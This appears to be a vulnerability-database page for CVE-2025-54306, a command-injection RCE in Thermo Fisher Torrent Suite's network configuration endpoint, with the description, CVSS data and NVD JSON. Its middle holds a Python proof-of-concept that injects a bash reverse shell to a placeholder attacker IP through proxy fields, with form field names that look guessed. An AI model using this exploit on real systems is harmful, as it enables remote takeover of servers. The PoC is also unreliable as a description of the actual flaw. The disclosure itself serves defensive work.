Security Vulnerability Report
中文
CVE-2025-54306 CVSS 7.2 HIGH

CVE-2025-54306

Published: 2025-12-04 15:15:59
Last Modified: 2025-12-16 18:47:26

Description

An issue was discovered in the Thermo Fisher Torrent Suite Django application 5.18.1. A remote code execution vulnerability exists in the network configuration functionality, stemming from insufficient input validation when processing network configuration parameters through administrative endpoints. The application allows administrators to modify the server's network configuration through the Django application. This configuration is processed by Bash scripts (TSsetnoproxy and TSsetproxy) that write user-controlled data directly to environment variables without proper sanitization. After updating environment variables, the scripts execute a source command on /etc/environment; if an attacker injects malicious data into environment variables, this command can enable arbitrary command execution. The vulnerability begins with the /admin/network endpoint, which passes user-supplied form data as arguments to subprocess.Popen calls. The user-supplied input is then used to update environment variables in TSsetnoproxy and TSsetproxy, and finally source $environment is executed.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thermofisher:torrent_suite_software:5.18.1:*:*:*:*:*:*:* - VULNERABLE
Thermo Fisher Torrent Suite Django application < 5.18.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-54306 PoC - Thermo Fisher Torrent Suite RCE Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys # Configuration TARGET_URL = "https://target-server/admin/network" USERNAME = "admin" PASSWORD = "admin_password" ATTACKER_IP = "attacker_ip" ATTACKER_PORT = "4444" def create_session(): """Create authenticated session""" session = requests.Session() login_url = f"{TARGET_URL.replace('/admin/network', '/admin/login')}" session.post(login_url, data={'username': USERNAME, 'password': PASSWORD}) return session def exploit_rce(session): """ Inject malicious payload into network configuration parameters. The payload exploits the lack of input sanitization in TSsetnoproxy/TSsetproxy scripts. """ # Reverse shell payload - injects into environment variable # The ';' terminates the legitimate command, ';bash -i' executes shell # '>/dev/tcp/IP/PORT' redirects bash shell to attacker machine payload = f";bash -i >/dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1; echo" # Network configuration parameters to inject payload exploit_data = { 'proxy_host': payload, 'proxy_port': '8080', 'no_proxy': payload, 'http_proxy': f'http://{payload}', 'https_proxy': f'https://{payload}', } response = session.post(TARGET_URL, data=exploit_data, timeout=30) return response def main(): print(f"[*] CVE-2025-54306 PoC for Thermo Fisher Torrent Suite") print(f"[*] Target: {TARGET_URL}") session = create_session() print("[+] Authentication successful") print("[*] Sending exploit payload...") response = exploit_rce(session) if response.status_code == 200: print("[+] Exploit sent successfully - check listener") else: print(f"[-] Exploit failed with status: {response.status_code}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54306", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:59.030", "lastModified": "2025-12-16T18:47:26.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the Thermo Fisher Torrent Suite Django application 5.18.1. A remote code execution vulnerability exists in the network configuration functionality, stemming from insufficient input validation when processing network configuration parameters through administrative endpoints. The application allows administrators to modify the server's network configuration through the Django application. This configuration is processed by Bash scripts (TSsetnoproxy and TSsetproxy) that write user-controlled data directly to environment variables without proper sanitization. After updating environment variables, the scripts execute a source command on /etc/environment; if an attacker injects malicious data into environment variables, this command can enable arbitrary command execution. The vulnerability begins with the /admin/network endpoint, which passes user-supplied form data as arguments to subprocess.Popen calls. The user-supplied input is then used to update environment variables in TSsetnoproxy and TSsetproxy, and finally source $environment is executed."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thermofisher:torrent_suite_software:5.18.1:*:*:*:*:*:*:*", "matchCriteriaId": "C9D40EC2-7E68-4166-9ECF-431E4294CB97"}]}]}], "references": [{"url": "https://assets.thermofisher.com/TFS-Assets/LSG/manuals/MAN0026163-Torrent-Suite-5.18-UG.pdf", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://documents.thermofisher.com/TFS-Assets/CORP/Product-Guides/Ion_OneTouch_2_and_Torrent_Suite_Software.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.thermofisher.com/us/en/home/life-science/sequencing/next-generation-sequencing/ion-torrent-next-generation-sequencing-workflow/ion-torrent-next-generation-sequencing-data-analysis-workflow/ion-torrent-suite-software.html", "source": "[email protected]", "tags": ["Product"]}]}}